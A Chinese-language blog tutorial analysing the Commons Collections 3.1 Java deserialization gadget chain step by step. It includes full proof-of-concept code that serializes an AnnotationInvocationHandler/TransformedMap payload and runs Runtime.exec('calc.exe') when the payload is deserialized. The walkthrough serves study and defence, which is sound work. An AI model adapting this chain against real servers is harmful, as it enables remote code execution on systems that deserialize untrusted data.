Java 反序列化分析从入门到放弃(二)

N 人看过

基础知识参考: Java 反序列化分析从入门到放弃(一)

一、环境配置

           本次分析的是CommonsCollections3.1的反序列化利用链,Java环境为jdk1.8.0_261 ,使用的IDE是eclipse

           需要下载一些依赖环境:CommonsCollections3.1的源码和zip文件。
CommonsCollections3.1 下载地址:
https://commons.apache.org/proper/commons-collections/download_collections.cgi

1、 配置运行环境

        新建Java项目,注意选择运行环境版本,使用jdk1.7.0_80
在这里插入图片描述

之后新建类Serialize_Test_Poc

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import java.io.*;

public class Serialize_Test_Poc {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "test");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        
        
		/*
		 * //触发漏洞 Map.Entry onlyElement = (Map.Entry)
		 * outerMap.entrySet().iterator().next();
		 * //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,
		 * 这是map的键值对数据格式 onlyElement.setValue("foobar");
		 */
        
        //反射机制调用 AnnotationInvocationHandler 类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //返回指定参数类型的所有构造器,包括public的和非public的,当然也包括private的
        Constructor ctor = cl.getDeclaredConstructor(Class.class,Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取实例
        Object instance = ctor.newInstance(Target.class, outerMap);
        
        
        //payload序列化写入文件,模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);
        
        //服务端读取文件,反序列化,模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
        
    }
}

2、 导入依赖包

        选中项目右键配置Build path:
在这里插入图片描述
选择Libraries => Add External JARS =>选择下载的文件=> Apply and Close。
在这里插入图片描述

3、 关联源文件

        在代码调试中要分析源文件,所以要关联源文件。使用Java Decompiler反编译jre1.7.0_80\lib\rt.jar,Java Decompiler下载地址:
http://java-decompiler.github.io/
在这里插入图片描述
把导出的zip文件丢在jre的目录下即可。
在这里插入图片描述

选中项目,右键 => Run As => Run Configurations
在这里插入图片描述

选择Alternate JRE=>点击 => Installed JREs
在这里插入图片描述

如果没有配置就点击Add添加自己的jdk路径,添加之后选中并点击Edit
在这里插入图片描述

选择rt.jar => Source Attachment => External location => External File
在这里插入图片描述

二、代码分析

1、InvokerTransformer

       CC3.1jar包中,InvokerTransformer的transform方法会通过反射机制去调用任意函数。
类所在路径:

commons-collections-3.1.jar!/org/apache/commons/collections/functors/InvokerTransformer.class

查看源码:
在这里插入图片描述
其实类InvokerTransformer是实现了Transformer接口,但由于接口回调的特性,执行的方法还是InvokerTransformertransform方法。

Transformer 接口如下图所示:在这里插入图片描述
InvokerTransformer实现Transformer接口如下图所示:
在这里插入图片描述

可见通过多次调用InvokerTransformertransform方法即可实现调用一条命令执行链。

InvokerTransformerDemo 类为例:

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
	public static void main(String[] args) throws Exception {
		
		//利用Java反射获取类对象
		Class runtimeClass = Class.forName("java.lang.Runtime");
		
		//利用InvokerTransformer的transform会通过反射机制去调用任意函数
		//返回 java.lang.Runtime的class对象->m_getMethod,可以类比下一行分析
		//java.lang.Runtime.getMethod("getRuntime") -> 返回 java.lang.Runtime.getRuntime 方法
		//new Class[] 新建一个类数组,值为String.class,Class[].class
		Object m_getMethod = new InvokerTransformer(
				"getMethod", 
				//getMethod()的参数类型是{"getRuntime",null},所以new Class[]的类型为String.class
				new Class[] {String.class,Class[].class},
				new Object[] {"getRuntime",null}
				).transform(runtimeClass);
		
		//java.lang.Runtime.getRuntime.invoke() -> 返回 java.lang.Runtime.getRuntime() 对象
		Object runtime = new InvokerTransformer(
				"invoke",
				//invoke(对象,参数),所以new Class[] 的类型为Object.class
				new Class[] {Object.class,Object[].class},
				new Object[] {null,null}
				).transform(m_getMethod);
		//java.lang.Runtime.getRuntime().exec("calc.exe")
		Object exec = new InvokerTransformer(
				"exec",
				//exec('calc.exe')只有一个参数,所以new Class[] 的类型为String.class
				new Class[] {String.class},
				new Object[] {"calc.exe"}
				).transform(runtime);	
	}
}

最终构成了一个命令执行链:Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null).exec(‘calc.exe’)

2、Transformer

       现在知道InvokerTransformer的transform方法可以调用任意函数,现在需要查找调用transform方法的类。
其中有以下两个类:ConstantTransformer,ChainedTransformer
ConstantTransformer类实现了Transformer接口,transform会直接返回实例化时传入的对象。
ConstantTransformer路径:

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ConstantTransformer.class

在这里插入图片描述

ChainedTransformer类也实现了Transformer接口,它的 transform ⽅法会循环调⽤ Transformer 数组对象中的 transform ⽅法,且上一次执行的结果会被当做下
一次调用
,最终返回Transformer[]数组最后一个值执行后的对象Runtime。
ChainedTransformer 路径:

commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class

在这里插入图片描述
继续执行,由于接口回调执行InvokerTransformertransform方法,成功构成命令执行链。构造链是 InvokerTransformer.transform() => Transformer.transform()
在这里插入图片描述
reflectionChain类为例:

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

/*知道了InvokerTransformer.transform()方法可以执行命令后,需要知道谁调用这个接口
 * 就找到了ConstantTransformer以及ChainedTransformer
 * ConstantTransformer.transform() 实例化传入的对象
 * ChainedTransformer.transform() 把上次执行的结果当下次的参数*/

public class reflectionChain {
	
	public static void main(String[] args) throws Exception {
		//定义transformers 数组
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer(
						"getMethod",
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime",null}
				),
				new InvokerTransformer(
						"invoke",
						new Class[] {Object.class,Object[].class},
						new Object[] {null,null}
				),
				//利用了接口回调特性,最后执行的是InvokerTransformer.tranform()
				new InvokerTransformer(
						"exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"}
				)
				};
		//ChainedTransformer chain = new ChainedTransformer(transformers);
		//接口名  对象名 =  new 类名;利用了接口回调特性
		Transformer chain = new ChainedTransformer(transformers);
		//最后一步返回Runtime对象,传递的方法是exec,参数是calc.exe
		chain.transform(null);
	}
}

3、TransformedMap

       现在Transformer.transform可以构造命令执行链,下一步需要查找谁调用它,其中 TransformedMap 类有调用。其中decorate 会调⽤构造函数⽣成实例对象, checkSetValue 会返回 Transformer 对象调⽤ transform 方法的结果,所以要执行decorate和checkSetValue方法。

TransformedMap 路径:

/commons-collections-3.1.jar!/org/apache/commons/collections/map/TransformedMap.class

Map 路径:

/jdk/src.zip!/java/util/Map.java

在这里插入图片描述
由于TransformedMap的构造方法是protected的,所以不能使用TransformedMap的构造方法生成实例对象。

//生成Map对象
Map innermap = new HashMap();
//放入键值对
innermap.put("key","value");
//生成实例对象
Map outmap = TransformedMap.decorate(innermap, null, chain);

此处之所以outmap可以用Map来限定,是利用了接口回调的特性。

重点:
TransformedMap extends AbstractInputCheckedMapDecorator extends AbstractMapDecorator implements Map

相当于这几个类都实现Map接口。

现在实例有了,差一个能够返回结果的transform方法去执行。
构造链:

InvokerTransformer.transform() => Transformer.transform() => TransformedMap.checkSetValue()

但由于接口回调的特性,可以转换如下:

InvokerTransformer.transform() => Transformer.transform() => Map.checkSetValue()
Map类似公共接口,可以找到使用方法checkSetValue()的类可能性更大。
其中有AbstractInputCheckedMapDecorator类有调用。

4、AbstractInputCheckedMapDecorator

路径:

commons-collections-3.1.jar!/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator

在这里插入图片描述
简化代码如下:
在这里插入图片描述

  • MapEntry extends AbstractMapEntryDecorator
  • AbstractMapEntryDecorator implements Entry
  • Entry为Map的内部接口
  • Map.Entry.setvalue()也存在于MapEntry.setValue()

所以调用setvalue()就可以调用checkSetValue()。要想调用setvalue()就要实例化类MapEntry,查找之后发现是AbstractInputCheckedMapDecorator.EntrySetIterator.next() 才可以实现:
在这里插入图片描述
AbstractInputCheckedMapDecorator.EntrySetIterator.next() 是由AbstractInputCheckedMapDecorator.EntrySet.iterator() 方法实例化。
在这里插入图片描述
而EntrySet是内部类,还是由AbstractInputCheckedMapDecorator.entrySet() 实例化。
在这里插入图片描述
重点:
TransformedMap extends AbstractInputCheckedMapDecorator extends AbstractMapDecorator implements Map

所以可以构造如下利用链:

//生成实例对象
Map outmap = TransformedMap.decorate(innermap, null, chain);
//注意:此时outmap的类型属于TransformedMap,TransformedMap不存在方法entrySet()
//接口回调,去往父类AbstractInputCheckedMapDecorator寻找方法entrySet()
//最终返回AbstractInputCheckedMapDecorator$MapEntry对象

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
//Map.Entry.setvalue()也存在于MapEntry.setValue()
//接口回调,执行的是MapEntry对象的setValue()方法
onlyElement.setValue("foobar");

最终返回类型:
在这里插入图片描述
此时构造类reflectionChain如下:

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

/*知道了InvokerTransformer.transform()方法可以执行命令后,需要知道谁调用这个接口
 * 就找到了ConstantTransformer以及ChainedTransformer
 * ConstantTransformer.transform() 实例化传入的对象
 * ChainedTransformer.transform() 把上次执行的结果当下次的参数*/

public class reflectionChain {
	
	public static void main(String[] args) throws Exception {
		//定义transformers 数组
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer(
						"getMethod",
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime",null}
				),
				new InvokerTransformer(
						"invoke",
						new Class[] {Object.class,Object[].class},
						new Object[] {null,null}
				),
				new InvokerTransformer(
						"exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"}
				)
				};
		//ChainedTransformer chain = new ChainedTransformer(transformers);
		//接口名  对象名 =  new 类名;利用了接口回调特性
		Transformer chain = new ChainedTransformer(transformers);
		//chain.transform(null);
		//生成Map对象
		Map innermap = new HashMap();
		//放入键值对
		innermap.put("key","value");
		//生成实例对象
		Map outmap = TransformedMap.decorate(innermap, null, chain);
		Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
		onlyElement.setValue("foobar");		
	}
}

5、AnnotationInvocationHandler

       其实到这一步利用链已经成功了,只是要想使用readObject读取序列化文件后自动触发漏洞,还需要 AnnotationInvocationHandler类。

所在路径:

/jdk/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class

主要是AnnotationInvocationHandler类的readObject()函数理解。如下所示:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly
        //声明一个annotationType的变量
        AnnotationType annotationType = null;
        try {
            //这里的type是我们在实例化的时候传入的jdk自带的Target.class
            //之前的poc语句是这样Object instance = ctor.newInstance(Target.class, outerMap);
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        //默认的是{value:ElementType}的键值对
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();


        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        //遍历memberValues
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        	//获取memberValues键value,执行后 "name"->"value"
            String name = memberValue.getKey();
            //获取键为value的memberTypes,并赋值给memberType,
            Class<?> memberType = memberTypes.get(name);
            //如果存在memberType不为空
            if (memberType != null) {  // i.e. member still exists
            	//获取memberValue的value键对应的值,赋值给value
                Object value = memberValue.getValue();
                //value不能强转为memberType,且value不是 ExceptionProxy这种类型
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                	//执行memberValue的setValue方法触发漏洞,参数不用管
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

其中有: Class<?> memberType = memberTypes.get(name);
memberTypes的默认的是 {value:ElementType} 的键值对,如果memberValues传递进来的键不是value(innerMap.put("value", "test");),那么在执行get()方法时就获取不到对应键为的value的值,if语句就不成立,故而不能执行setValue() 方法触发漏洞。

最终构造类:Serialize_Test_Poc
执行效果如下:

在这里插入图片描述

三、调用链总结

       触发之后产生返回值,返回到最终执行命令calc.exe

graph TB
A[开始] -->B("Object runtime")
    B  -- 反射调用 --> C("InvokerTransformer('exec',String.class,'calc.exe').transform(runtime)")
    C--接口回调-->D("Transformer.transform()")
    e1--返回-->D("Transformer.transform()")
    A6--触发-->F0("(Map) outerMap")
    F0--返回-->F("(Map) decorate()")
    F--返回-->E("TransformedMap")
   E--返回-->e1("TransformedMap.decorate()")
    D --接口回调--> e1("TransformedMap.decorate()")
    D --接口回调--> e2("TransformedMap.checkSetValue()")
    e1--调用构造函数生成实例对象-->E("TransformedMap")
    E--接口回调--> F("(Map) decorate()")
    F--生成-->F0("(Map) outerMap")
    e2 --返回调用transform结果--> G("(Map) checkSetValue()")
    G--Java的继承和向上转型--> A1("(Map.Entry) setValue()")
    A1--Java反射--> A2("sun.reflect.annotation.AnnotationInvocationHandler")
    A2--实例化对象--> A3("(Object)  ctor.newInstance(Target.class, outerMap)")
    A3--生成对象--> A4("(AnnotationInvocationHandler)  instance")
    A4--序列化对象instance生成恶意payload-->A5("payload.bin")
    A5--恶意序列化文件输入-->A6("sun.reflect.annotation.AnnotationInvocationHandler.readObject()")
    A5--接口回调调用重写的AnnotationInvocationHandler.readObject-->A6("sun.reflect.annotation.AnnotationInvocationHandler.readObject()")
    A6--触发-->A7("sun.reflect.annotation.AnnotationInvocationHandler.readObject().setValue()")
    A7--返回-->A1("(Map.Entry) setValue()")
A1--返回-->G("(Map) checkSetValue()")
G("(Map) checkSetValue()")--返回-->e2("TransformedMap.checkSetValue()")
e2--返回-->D("Transformer.transform()")
D--返回-->C("InvokerTransformer('exec',String.class,'calc.exe').transform(runtime)")
C--返回-->B("Object runtime")
B--执行命令calc.exe-->N[结束]

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。